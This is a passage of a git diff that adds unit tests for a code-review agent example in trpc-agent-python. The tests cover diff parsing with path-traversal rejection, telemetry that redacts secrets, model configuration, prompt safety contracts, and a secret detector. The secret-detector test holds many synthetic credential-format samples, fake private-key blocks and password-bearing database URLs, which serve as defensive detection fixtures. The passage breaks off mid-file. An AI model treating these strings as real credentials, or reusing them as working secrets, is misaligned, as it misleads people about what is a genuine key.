reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +import hashlib +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SCRIPTS_ROOT = PROJECT_ROOT / "skills" / "code-review" / "scripts" +sys.path.insert(0, str(SCRIPTS_ROOT)) + +from lib.diff_parser import build_snapshot_change_set, parse_unified_diff # noqa: E402 + + +def test_parse_modified_diff_exposes_changed_lines_and_context_mapping() -> None: + diff_text = ( + "diff --git a/src/app.py b/src/app.py\n" + "index 1111111..2222222 100644\n" + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -10,4 +10,4 @@\n" + " context_before\n" + "-old_value\n" + "+new_value\n" + " context_after\n" + " context_last\n" + ) + + change_set = parse_unified_diff(diff_text, source_kind="diff_file") + + assert change_set.source_kind == "diff_file" + assert change_set.input_sha256 == hashlib.sha256(diff_text.encode("utf-8")).hexdigest() + assert change_set.file_count == 1 + assert change_set.hunk_count == 1 + assert change_set.additions == 1 + assert change_set.deletions == 1 + assert change_set.parse_warnings == () + + file_change = change_set.files[0] + assert file_change.old_path == "src/app.py" + assert file_change.new_path == "src/app.py" + assert file_change.normalized_path == "src/app.py" + assert file_change.status == "modified" + assert file_change.review_scope == "changed_lines" + assert file_change.analysis_mode == "diff_heuristic" + assert file_change.old_changed_lines == (11,) + assert file_change.new_changed_lines == (11,) + assert file_change.full_text is None + + hunk = file_change.hunks[0] + assert (hunk.old_start, hunk.old_count) == (10, 4) + assert (hunk.new_start, hunk.new_count) == (10, 4) + assert hunk.context_lines == { + 10: "context_before", + 12: "context_after", + 13: "context_last", + } + assert hunk.deleted_lines == {11: "old_value"} + assert hunk.added_lines == {11: "new_value"} + assert hunk.old_to_new_line_map == {10: 10, 12: 12, 13: 13} + + +def test_parse_rename_normalizes_quoted_paths_with_spaces() -> None: + diff_text = ( + 'diff --git "a/src/old name.py" "b/src/new name.py"\n' + "similarity index 100%\n" + "rename from src/old name.py\n" + "rename to src/new name.py\n" + ) + + file_change = parse_unified_diff(diff_text).files[0] + + assert file_change.old_path == "src/old name.py" + assert file_change.new_path == "src/new name.py" + assert file_change.normalized_path == "src/new name.py" + assert file_change.status == "renamed" + assert file_change.review_scope == "changed_lines" + assert file_change.hunks == () + + +def test_parse_binary_diff_marks_file_as_skipped() -> None: + diff_text = ( + "diff --git a/assets/logo.png b/assets/logo.png\n" + "index 1111111..2222222 100644\n" + "Binary files a/assets/logo.png and b/assets/logo.png differ\n" + ) + + file_change = parse_unified_diff(diff_text).files[0] + + assert file_change.status == "modified" + assert file_change.is_binary is True + assert file_change.review_scope == "skipped" + assert file_change.analysis_mode == "skipped" + assert file_change.hunks == () + + +def test_parse_complete_added_file_handles_crlf_and_no_newline_marker() -> None: + diff_text = ( + "diff --git a/src/new.py b/src/new.py\r\n" + "new file mode 100644\r\n" + "--- /dev/null\r\n" + "+++ b/src/new.py\r\n" + "@@ -0,0 +1,2 @@\r\n" + "+first = 1\r\n" + "+second = 2\r\n" + "\\ No newline at end of file\r\n" + ) + + change_set = parse_unified_diff(diff_text) + file_change = change_set.files[0] + hunk = file_change.hunks[0] + + assert change_set.input_sha256 == hashlib.sha256(diff_text.encode("utf-8")).hexdigest() + assert file_change.old_path == "/dev/null" + assert file_change.new_path == "src/new.py" + assert file_change.normalized_path == "src/new.py" + assert file_change.status == "added" + assert file_change.review_scope == "full_file" + assert file_change.old_changed_lines == () + assert file_change.new_changed_lines == (1, 2) + assert file_change.full_text == "first = 1\nsecond = 2" + assert file_change.analysis_mode == "ast_validated" + assert (hunk.old_start, hunk.old_count) == (0, 0) + assert (hunk.new_start, hunk.new_count) == (1, 2) + assert hunk.old_to_new_line_map == {} + + +def test_parse_deleted_file_preserves_real_old_line_numbers() -> None: + diff_text = ( + "diff --git a/src/obsolete.py b/src/obsolete.py\n" + "deleted file mode 100644\n" + "--- a/src/obsolete.py\n" + "+++ /dev/null\n" + "@@ -1,2 +0,0 @@\n" + "-first = 1\n" + "-second = 2\n" + ) + + file_change = parse_unified_diff(diff_text).files[0] + hunk = file_change.hunks[0] + + assert file_change.old_path == "src/obsolete.py" + assert file_change.new_path == "/dev/null" + assert file_change.normalized_path == "src/obsolete.py" + assert file_change.status == "deleted" + assert file_change.review_scope == "deleted_lines" + assert file_change.old_changed_lines == (1, 2) + assert file_change.new_changed_lines == () + assert file_change.full_text is None + assert (hunk.old_start, hunk.old_count) == (1, 2) + assert (hunk.new_start, hunk.new_count) == (0, 0) + assert hunk.old_to_new_line_map == {} + + +def test_build_snapshot_change_set_uses_full_file_scope_and_zero_old_side() -> None: + change_set = build_snapshot_change_set( + {r".\src\snapshot.py": "first = 1\nsecond = 2\n"}, + source_kind="files", + ) + + file_change = change_set.files[0] + hunk = file_change.hunks[0] + + assert change_set.source_kind == "files" + assert len(change_set.input_sha256) == 64 + assert change_set.additions == 2 + assert change_set.deletions == 0 + assert file_change.old_path == "/dev/null" + assert file_change.new_path == "src/snapshot.py" + assert file_change.normalized_path == "src/snapshot.py" + assert file_change.status == "snapshot" + assert file_change.review_scope == "full_file" + assert file_change.old_changed_lines == () + assert file_change.new_changed_lines == (1, 2) + assert file_change.full_text == "first = 1\nsecond = 2\n" + assert file_change.analysis_mode == "ast_validated" + assert (hunk.old_start, hunk.old_count) == (0, 0) + assert (hunk.new_start, hunk.new_count) == (1, 2) + assert hunk.context_lines == {} + assert hunk.deleted_lines == {} + assert hunk.added_lines == {1: "first = 1", 2: "second = 2"} + assert hunk.old_to_new_line_map == {} + + +def test_parse_plain_unified_diff_without_git_metadata() -> None: + diff_text = ( + "--- src/tool.py\t2026-07-24 10:00:00\n" + "+++ src/tool.py\t2026-07-25 10:00:00\n" + "@@ -2,2 +2,2 @@\n" + "-old_value = 1\n" + "+new_value = 2\n" + " unchanged = True\n" + ) + + file_change = parse_unified_diff(diff_text).files[0] + + assert file_change.status == "modified" + assert file_change.normalized_path == "src/tool.py" + assert file_change.old_changed_lines == (2,) + assert file_change.new_changed_lines == (2,) + assert file_change.hunks[0].old_to_new_line_map == {3: 3} + + +def test_parse_no_newline_markers_on_both_sides_of_replacement() -> None: + diff_text = ( + "diff --git a/value.txt b/value.txt\n" + "--- a/value.txt\n" + "+++ b/value.txt\n" + "@@ -1 +1 @@\n" + "-old value\n" + "\\ No newline at end of file\n" + "+new value\n" + "\\ No newline at end of file\n" + ) + + hunk = parse_unified_diff(diff_text).files[0].hunks[0] + + assert hunk.deleted_lines == {1: "old value"} + assert hunk.added_lines == {1: "new value"} + assert hunk.old_to_new_line_map == {} + + +def test_empty_added_and_deleted_files_do_not_create_fake_hunks() -> None: + diff_text = ( + "diff --git a/empty_added.py b/empty_added.py\n" + "new file mode 100644\n" + "--- /dev/null\n" + "+++ b/empty_added.py\n" + "diff --git a/empty_deleted.py b/empty_deleted.py\n" + "deleted file mode 100644\n" + "--- a/empty_deleted.py\n" + "+++ /dev/null\n" + ) + + added, deleted = parse_unified_diff(diff_text).files + + assert added.status == "added" + assert added.review_scope == "full_file" + assert added.hunks == () + assert added.full_text == "" + assert added.old_changed_lines == () + assert added.new_changed_lines == () + assert deleted.status == "deleted" + assert deleted.review_scope == "deleted_lines" + assert deleted.hunks == () + assert deleted.full_text is None + assert deleted.old_changed_lines == () + assert deleted.new_changed_lines == () + + +def test_snapshot_hash_and_file_order_are_deterministic() -> None: + first = build_snapshot_change_set( + { + "b/module.py": "b = 2\n", + "a/module.py": "a = 1\n", + } + ) + reordered = build_snapshot_change_set( + { + "a/module.py": "a = 1\n", + "b/module.py": "b = 2\n", + } + ) + changed = build_snapshot_change_set( + { + "a/module.py": "a = 3\n", + "b/module.py": "b = 2\n", + } + ) + + assert first.input_sha256 == reordered.input_sha256 + assert first.input_sha256 != changed.input_sha256 + assert [file.normalized_path for file in first.files] == [ + "a/module.py", + "b/module.py", + ] + + +def test_binary_new_file_uses_mode_metadata_for_added_status() -> None: + diff_text = ( + "diff --git a/assets/new.bin b/assets/new.bin\n" + "new file mode 100644\n" + "index 0000000..1111111\n" + "GIT binary patch\n" + "literal 1\n" + "AcmZQz\n" + ) + + file_change = parse_unified_diff(diff_text).files[0] + + assert file_change.status == "added" + assert file_change.normalized_path == "assets/new.bin" + assert file_change.is_binary is True + assert file_change.review_scope == "skipped" + assert file_change.analysis_mode == "skipped" + + +@pytest.mark.parametrize( + "unsafe_path", + ( + "../outside.py", + "/absolute.py", + "C:/absolute.py", + "src/../../outside.py", + "src/control\u0007.py", + ), +) +def test_diff_parser_rejects_paths_outside_the_review_namespace( + unsafe_path: str, +) -> None: + """验证绝对路径、父级穿越和控制字符不会进入 ChangeSet。""" + + diff_text = ( + f"diff --git a/{unsafe_path} b/{unsafe_path}\n" + f"--- a/{unsafe_path}\n" + f"+++ b/{unsafe_path}\n" + "@@ -1 +1 @@\n" + "-old\n" + "+new\n" + ) + + with pytest.raises(ValueError, match="path"): + parse_unified_diff(diff_text) diff --git a/examples/skills_code_review_agent/tests/unit/test_metrics.py b/examples/skills_code_review_agent/tests/unit/test_metrics.py new file mode 100644 index 000000000..dffa5aafd --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_metrics.py @@ -0,0 +1,248 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Public-contract tests for review metrics and telemetry boundaries.""" + +from __future__ import annotations + +import json +import platform +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.metrics import ( # noqa: E402 + TELEMETRY_ATTRIBUTE_ALLOWLIST, + MetricsCollector, +) + + +class _Clock: + """按预置顺序返回单调时间,供指标测试稳定控制耗时。""" + + def __init__(self, *values: float) -> None: + """保存后续调用依次返回的秒级时间值。""" + + self._values = iter(values) + + def __call__(self) -> float: + """返回下一个预置时间值。""" + + return next(self._values) + + +class _RecordingSpan: + """记录写入属性的最小 span 替身。""" + + def __init__(self) -> None: + """初始化空属性字典。""" + + self.attributes: dict[str, object] = {} + + def set_attribute(self, key: str, value: object) -> None: + """记录一次 span 属性写入。""" + + self.attributes[key] = value + + +class _SpanContext: + """把记录 span 暴露为上下文管理器。""" + + def __init__(self, span: _RecordingSpan) -> None: + """保存本上下文应返回的 span。""" + + self._span = span + + def __enter__(self) -> _RecordingSpan: + """返回用于记录属性的 span。""" + + return self._span + + def __exit__(self, *_args: object) -> None: + """在退出时不抑制异常。""" + + return None + + +class _SpanFactory: + """记录 span 名称并返回可检查的上下文。""" + + def __init__(self) -> None: + """初始化名称和 span 收集容器。""" + + self.names: list[str] = [] + self.spans: list[_RecordingSpan] = [] + + def __call__(self, name: str) -> _SpanContext: + """创建并保存一个与名称对应的记录 span。""" + + self.names.append(name) + span = _RecordingSpan() + self.spans.append(span) + return _SpanContext(span) + + +def test_snapshot_freezes_review_metrics_and_distributions() -> None: + """验证冻结快照保留全部 B3 指标且不受后续记录影响。""" + + collector = MetricsCollector( + task_id="review-123", + runtime_type="container", + clock=_Clock(10.0, 10.125, 10.250), + ) + collector.record_stage_duration("parse", 7) + collector.record_stage_duration("llm", 12) + collector.record_stage_duration("postprocess", 3) + collector.record_tool_call(2) + collector.record_sandbox_run(35) + collector.record_filter_action("deny") + collector.record_filter_action("needs_human_review") + collector.record_findings( + findings=( + {"severity": "critical", "category": "security"}, + {"severity": "high", "category": "resource-leak"}, + ), + needs_human_review=( + {"severity": "medium", "category": "security"}, + ), + suppressed_count=2, + warnings=("sandbox_timeout",), + ) + collector.record_error("sandbox_timeout") + + snapshot = collector.snapshot() + collector.record_tool_call() + + assert snapshot.to_dict() == { + "total_duration_ms": 125, + "sandbox_duration_ms": 35, + "llm_duration_ms": 12, + "tool_call_count": 2, + "sandbox_run_count": 1, + "filter_block_count": 1, + "filter_review_count": 1, + "finding_count": 2, + "warning_count": 1, + "needs_human_review_count": 1, + "suppressed_count": 2, + "severity_distribution": { + "critical": 1, + "high": 1, + "medium": 1, + }, + "category_distribution": { + "resource-leak": 1, + "security": 2, + }, + "error_type_distribution": {"sandbox_timeout": 1}, + "runtime_type": "container", + "python_version": f"{sys.version_info.major}.{sys.version_info.minor}", + "platform": platform.system(), + } + assert snapshot.tool_call_count == 2 + with pytest.raises(TypeError): + snapshot.severity_distribution["critical"] = 2 + + +def test_telemetry_spans_use_only_safe_allowlisted_attributes() -> None: + """验证 span 只接收任务元数据、计数和枚举,且敏感值不外泄。""" + + secret = "ghp_" + "a" * 36 + absolute_path = r"C:\Users\reviewer\secret.diff" + factory = _SpanFactory() + collector = MetricsCollector( + task_id=f"{secret}:{absolute_path}", + runtime_type="container", + clock=_Clock(1.0, 1.010), + span_factory=factory, + ) + collector.record_tool_call(2) + collector.record_sandbox_run(30) + collector.record_filter_action("deny") + collector.record_findings( + findings=( + {"severity": "high", "category": "security"}, + ), + needs_human_review=(), + suppressed_count=0, + warnings=("sandbox_timeout",), + ) + + emitted = collector.emit_span( + "sandbox", + status="completed_with_warnings", + duration_ms=30, + error_type="sandbox_timeout", + ) + + attributes = factory.spans[0].attributes + serialized = json.dumps(attributes, ensure_ascii=False, sort_keys=True) + assert emitted is True + assert factory.names == ["code_review.sandbox"] + assert set(attributes).issubset(TELEMETRY_ATTRIBUTE_ALLOWLIST) + assert attributes["code_review.task_id"] == "redacted_task_id" + assert attributes["code_review.sandbox_run_count"] == 1 + assert attributes["code_review.finding_count"] == 1 + assert secret not in serialized + assert absolute_path not in serialized + + +def test_telemetry_supports_all_required_review_stages() -> None: + """验证 total 与四个关键子阶段均能生成固定命名的 span。""" + + factory = _SpanFactory() + collector = MetricsCollector( + task_id="review-123", + runtime_type="container", + clock=_Clock(1.0, 1.001, 1.002, 1.003, 1.004, 1.005), + span_factory=factory, + ) + + for stage in ("total", "parse", "sandbox", "postprocess", "llm"): + assert collector.emit_span( + stage, + status="completed", + duration_ms=1, + ) is True + + assert factory.names == [ + "code_review.total", + "code_review.parse", + "code_review.sandbox", + "code_review.postprocess", + "code_review.llm", + ] + + +def test_unavailable_telemetry_is_a_zero_side_effect() -> None: + """验证 span 工厂不可用时评审指标仍可正常冻结。""" + + def unavailable_span_factory(_name: str) -> _SpanContext: + """模拟没有 OTel 可用时的 span 创建失败。""" + + raise ImportError("telemetry_unavailable") + + collector = MetricsCollector( + task_id="review-123", + runtime_type="local", + clock=_Clock(1.0, 1.002, 1.002), + span_factory=unavailable_span_factory, + ) + + assert collector.emit_span( + "parse", + status="completed", + duration_ms=2, + ) is False + assert collector.snapshot().total_duration_ms == 2 diff --git a/examples/skills_code_review_agent/tests/unit/test_model_environment.py b/examples/skills_code_review_agent/tests/unit/test_model_environment.py new file mode 100644 index 000000000..2cca545d6 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_model_environment.py @@ -0,0 +1,47 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Unit tests for the narrowly scoped real-model environment loader.""" + +from __future__ import annotations + +import sys +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.model_environment import load_model_environment # noqa: E402 + + +def test_load_model_environment_only_reads_allowed_values_and_preserves_process_priority( + tmp_path: Path, +) -> None: + """验证 .env 仅向 real 模型提供白名单变量,且显式进程环境优先。""" + + dotenv_path = tmp_path / ".env" + dotenv_path.write_text( + "TRPC_AGENT_API_KEY=file-key\n" + "TRPC_AGENT_BASE_URL=https://example.invalid/v1\n" + "TRPC_AGENT_MODEL_NAME=sample-model\n" + "UNRELATED_SECRET=must-not-load\n", + encoding="utf-8", + ) + + loaded = load_model_environment( + dotenv_path, + environ={"TRPC_AGENT_MODEL_NAME": "process-model", "PATH": "ignored"}, + ) + + assert loaded == { + "TRPC_AGENT_API_KEY": "file-key", + "TRPC_AGENT_BASE_URL": "https://example.invalid/v1", + "TRPC_AGENT_MODEL_NAME": "process-model", + } diff --git a/examples/skills_code_review_agent/tests/unit/test_model_runtime.py b/examples/skills_code_review_agent/tests/unit/test_model_runtime.py new file mode 100644 index 000000000..add7f3540 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_model_runtime.py @@ -0,0 +1,42 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""真实模型运行时配置的确定性单元测试。""" + +from __future__ import annotations + +import sys +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from code_review.model_runtime import build_real_model # noqa: E402 + + +def test_real_model_uses_bounded_deterministic_retry_and_request_timeout() -> None: + """验证真实模型 API 失败时最多重试三次,按 5/10/20 秒退避且单次请求不会无限等待。""" + + model = build_real_model( + { + "TRPC_AGENT_API_KEY": "synthetic-key", + "TRPC_AGENT_BASE_URL": "https://example.invalid/v1", + "TRPC_AGENT_MODEL_NAME": "synthetic-model", + } + ) + + retry = model.model_retry_config + assert retry is not None + assert retry.num_retries == 3 + assert retry.backoff.initial_backoff == 5.0 + assert retry.backoff.multiplier == 2.0 + assert retry.backoff.max_backoff == 20.0 + assert retry.backoff.jitter is False + assert model.client_args["timeout"] == 30.0 diff --git a/examples/skills_code_review_agent/tests/unit/test_prompts.py b/examples/skills_code_review_agent/tests/unit/test_prompts.py new file mode 100644 index 000000000..8d3502c35 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_prompts.py @@ -0,0 +1,52 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Agent 与报告增强 Prompt 的安全合同测试。""" + +from pathlib import Path +import sys + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +from agent.prompts import AGENT_INSTRUCTION, ENHANCEMENT_INSTRUCTION + + +def test_agent_instruction_locks_the_skill_tool_order_and_arguments() -> None: + """验证 Agent Prompt 明确锁定 Skill 顺序、名称和一次性请求参数。""" + + load_position = AGENT_INSTRUCTION.index("skill_load") + run_position = AGENT_INSTRUCTION.index("skill_run") + + assert load_position < run_position + assert "code-review" in AGENT_INSTRUCTION + assert "review_request_id" in AGENT_INSTRUCTION + assert "一次" in AGENT_INSTRUCTION + assert "不得加载其他 Skill" in AGENT_INSTRUCTION + + +def test_agent_instruction_forbids_untrusted_execution_inputs() -> None: + """验证 Agent Prompt 禁止模型提供命令、路径、环境、diff 和代码。""" + + for forbidden_input in ("command", "路径", "环境变量", "diff", "代码"): + assert forbidden_input in AGENT_INSTRUCTION + assert "不得向 skill_run 提供" in AGENT_INSTRUCTION + assert "manifest" in AGENT_INSTRUCTION + assert "Filter" in AGENT_INSTRUCTION + + +def test_enhancement_instruction_cannot_change_finding_identity() -> None: + """验证增强 Prompt 只能改进文本,不得改动或凭空生成 finding。""" + + assert "只增强" in ENHANCEMENT_INSTRUCTION + for forbidden_action in ("不得新增", "删除", "合并", "重新分级"): + assert forbidden_action in ENHANCEMENT_INSTRUCTION + for protected_input in ("原始 diff", "代码", "环境变量", "凭据"): + assert protected_input in ENHANCEMENT_INSTRUCTION diff --git a/examples/skills_code_review_agent/tests/unit/test_redaction.py b/examples/skills_code_review_agent/tests/unit/test_redaction.py new file mode 100644 index 000000000..396d099ed --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_redaction.py @@ -0,0 +1,212 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Tests for the shared secret detector and output redactor.""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +from examples.skills_code_review_agent.code_review.redaction import ( + contains_plaintext_secret, + redact_data, + redact_text, + redact_transport_fields, +) + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SCRIPTS_ROOT = PROJECT_ROOT / "skills" / "code-review" / "scripts" +sys.path.insert(0, str(SCRIPTS_ROOT)) + +from lib.diff_parser import parse_unified_diff # noqa: E402 +from lib.secret_rules import ( # noqa: E402 + SECRET_PATTERN_SPECS, + detect_change_set_secrets, + detect_secrets, +) + + +def _synthetic_secret(prefix: str, suffix: str) -> str: + """拼接测试专用凭据片段,避免把完整真实格式凭据写入源码。""" + + return prefix + suffix + + +REAL_FORMAT_SAMPLES = [ + ("aws_access_key", "AKIA1234567890ABCDEF"), + ("aws_access_key", "ASIA1234567890ABCDEF"), + ("github_token", "ghp_abcdefghijklmnopqrstuvwxyz0123456789"), + ("github_token", "github_pat_11AAABBBCCCDDDEEEFFF_1234567890abcdef"), + ("gitlab_token", "glpat-abcdefghijklmnopqrstuvwxyz123456"), + ( + "slack_token", + _synthetic_secret( + "xoxb-123456789012-123456789012-", + "abcdefghijklmnopqrstuvwx", + ), + ), + ("slack_token", "xoxp-123456789012-123456789012-abcdefghijklmnopqrstuvwx"), + ("openai_api_key", "sk-proj-abcdefghijklmnopqrstuvwxyz0123456789"), + ("openai_api_key", "sk-abcdefghijklmnopqrstuvwxyz0123456789"), + ("stripe_secret_key", _synthetic_secret("sk_live_", "abcdefghijklmnopqrstuvwxyz123456")), + ("stripe_secret_key", "rk_test_abcdefghijklmnopqrstuvwxyz123456"), + ("twilio_auth_token", "twilio_auth_token = '0123456789abcdef0123456789abcdef'"), + ("sendgrid_api_key", "SG.abcdefghijklmnopqrstuvwxyz.0123456789ABCDEFGHIJKLMNO"), + ("npm_token", "npm_abcdefghijklmnopqrstuvwxyz1234567890"), + ("pypi_token", "pypi-abcdefghijklmnopqrstuvwxyz12345678901234567890"), + ("google_api_key", "AIzaSyABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi"), + ("google_api_key", "AIzaABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghi"), + ( + "azure_storage_key", + "DefaultEndpointsProtocol=https;AccountKey=" + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv0123456789+/==", + ), + ("jwt", "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIn0.abcdefghijklmnopqrstuvwxyz0123456789"), + ("private_key", "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASC\n-----END PRIVATE KEY-----"), + ("private_key", "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAw\n-----END RSA PRIVATE KEY-----"), + ("database_url", "postgresql://reviewer:password123@db.example.test:5432/reviews"), + ("database_url", "mysql+pymysql://admin:password123@db.example.test/reviews"), + ("database_url", "amqp://fixture_user:fixture_password@queue.invalid:5672/reviews"), + ("bearer_token", "Authorization: Bearer abcdefghijklmnopqrstuvwxyz0123456789"), + ("password", "password = 'LongSyntheticPasswordValue123!'"), + ("password", "db_password: \"LongSyntheticPasswordValue123!\""), + ("token", "access_token = 'abcdefghijklmnopqrstuvwxyz0123456789'"), + ("token", "api_token: \"abcdefghijklmnopqrstuvwxyz0123456789\""), + ("secret", "client_secret = 'abcdefghijklmnopqrstuvwxyz0123456789'"), + ("secret", "secret_key: \"abcdefghijklmnopqrstuvwxyz0123456789\""), + ("high_entropy_secret", "credential = 'fD7$kL2!qP9@wX4#zM8^rT1&vB6*eN3'"), + ("high_entropy_secret", "value = 'aV7!qP2@xL9#rT4$wM8^kD1&zB6*eN3'"), + ("high_entropy_secret", "api_key = 'R9!wK3@pV7#xM2$zT8^qL4&dB6*eN1'"), + ("huggingface_token", "hf_abcdefghijklmnopqrstuvwxyz0123456789AB"), + ("terraform_token", "ATLAS-abcdefghijklmnopqrstuvwxyz123456"), + ("digitalocean_token", "dop_v1_abcdefghijklmnopqrstuvwxyz0123456789"), + ("discord_token", "MTAwMDAwMDAwMDAwMDAwMDAw.Ghijkl.abcdefghijklmnopqrstuvwxyz"), + ("mailgun_api_key", "key-abcdefghijklmnopqrstuvwxyz0123456789"), + ("square_access_token", "sq0atp-abcdefghijklmnopqrstuvwxyz0123456789"), + ("shopify_access_token", "shpat_abcdefghijklmnopqrstuvwxyz0123456789"), + ("linear_api_key", "lin_api_abcdefghijklmnopqrstuvwxyz0123456789"), + ("datadog_api_key", "DD_API_KEY=abcdefghijklmnopqrstuvwxyz0123456789"), + ("new_relic_license_key", "NEW_RELIC_LICENSE_KEY=abcdefghijklmnopqrstuvwxyz0123456789"), + ("sentry_dsn", "https://1234567890abcdef1234567890abcdef@sentry.example.test/42"), + ("database_url", "redis://:password123@cache.example.test:6379/0"), + ("database_url", "amqps://reviewer:password123@mq.example.test:5671/reviews"), + ("token", "private_token = 'abcdefghijklmnopqrstuvwxyz0123456789'"), + ("secret", "webhook_secret: 'abcdefghijklmnopqrstuvwxyz0123456789'"), +] + + +BENIGN_SAMPLES = [ + "password = 'REDACTED'", + "token = ''", + "api_key = 'example-api-key'", + "secret = 'changeme'", + "# ghp_your_github_token_here", + "Authorization: Bearer ", + "url = 'https://db.example.test/reviews'", + "version = '2026.07.25'", + "description = 'Use sk-your-key in local documentation.'", + "random_identifier = 'abcdefghijklmno'", +] + + +@pytest.mark.parametrize(("expected_type", "sample"), REAL_FORMAT_SAMPLES) +def test_detects_real_format_secret_corpus( + expected_type: str, + sample: str, +) -> None: + matches = detect_secrets(sample) + + assert any(match.secret_type == expected_type for match in matches) + + +def test_secret_corpus_detection_rate_is_at_least_95_percent() -> None: + detected = sum(bool(detect_secrets(sample)) for _, sample in REAL_FORMAT_SAMPLES) + + assert len(REAL_FORMAT_SAMPLES) >= 48 + assert detected / len(REAL_FORMAT_SAMPLES) >= 0.95 + + +@pytest.mark.parametrize("sample", BENIGN_SAMPLES) +def test_benign_and_placeholder_samples_are_not_detected(sample: str) -> None: + """验证普通良性值与文档占位值不会形成敏感信息 finding。""" + + assert detect_secrets(sample) == () + + +@pytest.mark.parametrize("sample", ("token = 'token'", "token = 'api-key'", "token = 'your-api-key'")) +def test_assignment_style_placeholder_values_are_not_detected(sample: str) -> None: + """验证带变量名的赋值占位符按值而非整段赋值表达式降噪。""" + + assert detect_secrets(sample) == () + + +def test_secret_patterns_are_shared_by_detection_and_redaction() -> None: + """验证检出和脱敏复用同一模式表,且脱敏后不存在原始密钥。""" + + raw = "token = 'abcdefghijklmnopqrstuvwxyz0123456789'" + matches = detect_secrets(raw) + redacted = redact_text(raw) + + assert len(SECRET_PATTERN_SPECS) >= 12 + assert matches + assert raw not in redacted + assert "[REDACTED:token]" in redacted + assert not contains_plaintext_secret(redacted) + + +def test_redacts_every_transport_field_and_nested_output_data() -> None: + """验证嵌套传输字段也会经过同一脱敏出口。""" + + secret = "ghp_abcdefghijklmnopqrstuvwxyz0123456789" + fields = redact_transport_fields( + recommendation=f"Revoke {secret}", + reasons=[f"blocked {secret}"], + error=f"failed with {secret}", + stdout=f"stdout {secret}", + stderr=f"stderr {secret}", + ) + data = redact_data({"fields": fields, "nested": [secret, {"key": secret}]}) + + assert not contains_plaintext_secret(data) + assert all(secret not in str(value) for value in fields.values()) + assert "[REDACTED:github_token]" in str(data) + + +def test_change_set_scans_new_context_and_deleted_old_lines() -> None: + """验证 ChangeSet 同时定位新侧、上下文与删除旧侧的真实行号。""" + + new_secret = "ghp_abcdefghijklmnopqrstuvwxyz0123456789" + old_secret = "AKIA1234567890ABCDEF" + context_secret = "sk-abcdefghijklmnopqrstuvwxyz0123456789" + diff = "\n".join( + [ + "diff --git a/config.py b/config.py", + "--- a/config.py", + "+++ b/config.py", + "@@ -7,3 +7,3 @@", + f"-AWS_ACCESS_KEY_ID = '{old_secret}'", + f"+GITHUB_TOKEN = '{new_secret}'", + " context = 'unchanged'", + f" CONTEXT_TOKEN = '{context_secret}'", + ] + ) + + locations = detect_change_set_secrets(parse_unified_diff(diff)) + + assert [(item.secret_type, item.line, item.line_side) for item in locations] == [ + ("github_token", 7, "new"), + ("openai_api_key", 9, "new"), + ("aws_access_key", 7, "old"), + ] + assert all(new_secret not in item.evidence for item in locations) + assert all(old_secret not in item.evidence for item in locations) + assert all(context_secret not in item.evidence for item in locations) diff --git a/examples/skills_code_review_agent/tests/unit/test_rules.py b/examples/skills_code_review_agent/tests/unit/test_rules.py new file mode 100644 index 000000000..47fe41ea1 --- /dev/null +++ b/examples/skills_code_review_agent/tests/unit/test_rules.py @@ -0,0 +1,368 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Tests for the deterministic rule protocol and security rules.""" + +from __future__ import annotations + +import sys +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SCRIPTS_ROOT = PROJECT_ROOT / "skills" / "code-review" / "scripts" +sys.path.insert(0, str(SCRIPTS_ROOT)) + +from lib.diff_parser import build_snapshot_change_set, parse_unified_diff # noqa: E402 +from lib.rule_engine import RuleEngine # noqa: E402 +from lib.rules_async import default_async_rules # noqa: E402 +from lib.rules_db import default_db_rules # noqa: E402 +from lib.rules_resource import default_resource_rules # noqa: E402 +from lib.rules_security import default_security_rules # noqa: E402 +from lib.rules_tests import default_test_rules # noqa: E402 + + +def _added_python_change_set(*lines: str): + diff_lines = [ + "diff --git 